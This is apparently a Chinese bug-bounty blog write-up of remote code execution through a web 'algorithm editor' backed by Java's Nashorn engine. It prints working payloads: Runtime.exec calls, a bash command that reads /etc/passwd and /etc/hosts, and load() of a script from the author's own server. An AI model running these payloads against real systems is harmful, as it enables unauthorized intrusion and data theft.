SRC挖掘技巧—写js代码就能getshell

声明 

   免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

在做功能测试时,关注到一个功能点,看到“算法编辑”感觉很厉害的样子

打开后看看,可以写代码。执行了下,就提示了个这个

查看格式化按钮旁边的【查看帮助接口】 看到里面写的特别像js 代码

结合前期对网站分析。发现后端用的node js,尝试写一个nodejs 代码执行

var process = require('child_process');
var cmd = 'ifconfig';
process.exec(cmd, function(error, stdout, stderr) {
    console.log("error:"+error);
    console.log("stdout:"+stdout);
    console.log("stderr:"+stderr);
});

通过上面报错发现用了java的框架 来执行js 查一下api 教程 ,参考如下资料

介绍 Nashorn —— Java 8 JavaScript 引擎 | 耗子的博客

可以通过load 载入远程脚本

用以下样例脚本测试下。随便打印当前文件路径

var imports = new JavaImporter(java.io, java.lang);
with (imports) {
    var file = new File(__FILE__);
    load('http://106.xxxx5:8989/underscore-min.js');
    print(file.getAbsolutePath());
    // /path/to/my/script.js
}

发现vps 收到请求 ,客户端是java 1.8.0_212

 

服务器的路径也显示出来了

继续看资料 发现 通过 框架可以通过js创建java 对象 使用关键字 Java.type 就可以

于是在本地 导入这个库 模拟下环境。再来写一个 java代码执行的 试试

public static String runCmd(String command) {
    StringBuilder sb =new StringBuilder();
    try {
        Process process=Runtime.getRuntime().exec("cmd /C " + command);
        InputStream inputStream = process.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
        String line;
        while((line=bufferedReader.readLine())!=null)
        {
            sb.append(line+"\n");
        }
    } catch (Exception e) {
        return null;
    }
    return sb.toString();
    }

当然格式要按照js的方法写

发现成功执行

赶紧拿到web上去测试下。

激动的心情。发现vps成功收到来自web的请求 而且是root权限

请求dnslog

最后改成直接把结果回显到页面上。这样下面得执行日志可以显示执行结果。前面都是无回显得

pwd && ifconfig && cat /etc/passwd

发现还存在内网。因为没有授权。所以点到为止 代码如下

var Runtime = Java.type('java.lang.Runtime');
var InputStreamReader = Java.type('java.io.InputStreamReader');
var BufferedReader = Java.type('java.io.BufferedReader');
var CmdArray = Java.type("java.lang.String[]");
var array = new CmdArray(3);
array[0] = "/bin/bash";
array[1] = "-c";
array[2] = "pwd && ifconfig && cat /etc/hosts";
var process = Runtime.getRuntime().exec(array);
var out = new BufferedReader(new InputStreamReader(process.getInputStream()));
while ((line = out.readLine()) != null) {
  print(line);
}

总结 :

发现算法编辑器->尝试执行nodejs 代码执行->发现调用得是java Nashorn引擎->写js代码调用java 方法执行代码->over!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值